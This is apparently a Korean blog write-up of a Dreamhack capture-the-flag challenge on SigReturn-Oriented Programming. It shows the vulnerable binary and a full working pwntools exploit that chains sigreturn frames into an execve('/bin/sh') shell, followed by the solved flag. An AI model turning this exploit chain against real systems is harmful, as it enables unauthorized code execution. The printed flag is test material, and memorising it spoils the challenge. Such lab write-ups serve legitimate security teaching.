콘텐츠로 건너뛰기

SigReturn-Oriented Programming

Description

Exploit Tech: SigReturn-Oriented Programming에서 실습하는 문제입니다.

SROP

컨텍스트 스위칭을 위해 사용하는 sigreturn 시스템 콜을 이용한 ROP 기법

execve 시스콜을 호출하기 전에
sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택의 값을 써넣어야 된다.

/* __x86_64__: */
struct sigcontext {
	__u64				r8;
	__u64				r9;
	__u64				r10;
	__u64				r11;
	__u64				r12;
	__u64				r13;
	__u64				r14;
	__u64				r15;
	__u64				rdi;
	__u64				rsi;
	__u64				rbp;
	__u64				rbx;
	__u64				rdx;
	__u64				rax;
	__u64				rcx;
	__u64				rsp;
	__u64				rip;
	__u64				eflags;		/* RFLAGS */
	__u16				cs;
	__u16				gs;
	__u16				fs;
	union {
		__u16			ss;	/* If UC_SIGCONTEXT_SS */
		__u16			__pad0;	/* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
	};
	__u64				err;
	__u64				trapno;
	__u64				oldmask;
	__u64				cr2;
	struct _fpstate __user		*fpstate;	/* Zero when no FPU context */
#  ifdef __ILP32__
	__u32				__fpstate_pad;
#  endif
	__u64				reserved1[8];
};

pwntools에는 이러한 공격을 쉽게 만들어주기 위해 SigreturnFrame 클래스를 제공해준다.


checksec

iotfragile@iotfragile:~/CTF/SROP$ checksec --file ./srop
[*] '/home/iotfragile/CTF/SROP/srop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

srop (Decompiled src)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  read(0, buf, 0x400uLL);
  return 0;
}
.text:00000000004004E7                 public gadget
.text:00000000004004E7 gadget          proc near
.text:00000000004004E7 ; __unwind {
.text:00000000004004E7                 push    rbp
.text:00000000004004E8                 mov     rbp, rsp
.text:00000000004004EB                 pop     rax
.text:00000000004004EC                 syscall                 ; LINUX -
.text:00000000004004EE                 retn
.text:00000000004004EE gadget          endp

Solution

  1. 지정된 buf 버퍼 크기가 16바이트이지만,
    read 함수를 통해 0x400만큼 받을 수 있기 때문에 버퍼 오버플로우가 발생한다.

    이를 이용해 rip를 pop rax; syscall 지점을 가리키는 0x4004EB 주소를 가리키게 만들고,
    SYS_rt_sigreturn syscall 호출 번호인 15로 호출되게 만든다.
  2. bss 영역에 0x1000만큼 read 함수로 읽어오도록 frame을 만들어 실행시킨다.
  3. read 함수로 읽어오는데, 여기에 execve(“/bin/sh”, 0, 0) 쉘을 띄울 수 있도록 페이로드를 작성해서 보낸다.
    여기서 /bin/sh 그 앞의 페이로드 크기를 고려했을때 frame2.rdi = bss + 0x108 이어야 한다.

    처음 frame에 rsp를 bss로 조작함으로써 
    buf에 작성된 payload에 연달아 read로 읽여들인 bss영역의 payload까지 실행이 이어진다고 보면 된다.

순서:
SYS_rt_sigreturn -> SYS_read -> SYS_rt_sigreturn -> SYS_execve

from pwn import *
#context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

#p = process('./srop')
p = remote('host3.dreamhack.games', 13071)

#.text:00000000004004EB                 pop     rax
#.text:00000000004004EC                 syscall                 ; LINUX -
gadget = 0x4004EB
syscall = gadget+1
SYS_rt_sigreturn = 15
bss = 0x601030
binsh = b"/bin/sh\x00"

# read(0, bss, 0x1000)
frame = SigreturnFrame()
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss

payload = b"A"*24
payload += p64(gadget)
payload += p64(SYS_rt_sigreturn)
payload += bytes(frame)
#pause()
p.sendline(payload)

#gdb.attach(p)
#pause()

# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108

payload = p64(gadget)
payload += p64(SYS_rt_sigreturn)
payload += bytes(frame2)
payload += binsh
#pause()
print(len(payload))
p.sendline(payload)

p.interactive()

Result

PS C:\Users\Seo Hyun-gyu\Downloads\87817090-b715-4893-b76a-9fb10e220b9b> python3 solve.py
[x] Opening connection to host3.dreamhack.games on port 13071
[x] Opening connection to host3.dreamhack.games on port 13071: Trying 23.81.42.210
[+] Opening connection to host3.dreamhack.games on port 13071: Done

ls
flag
srop
cat flag
DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}

FLAG

DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}

태그:

답글 남기기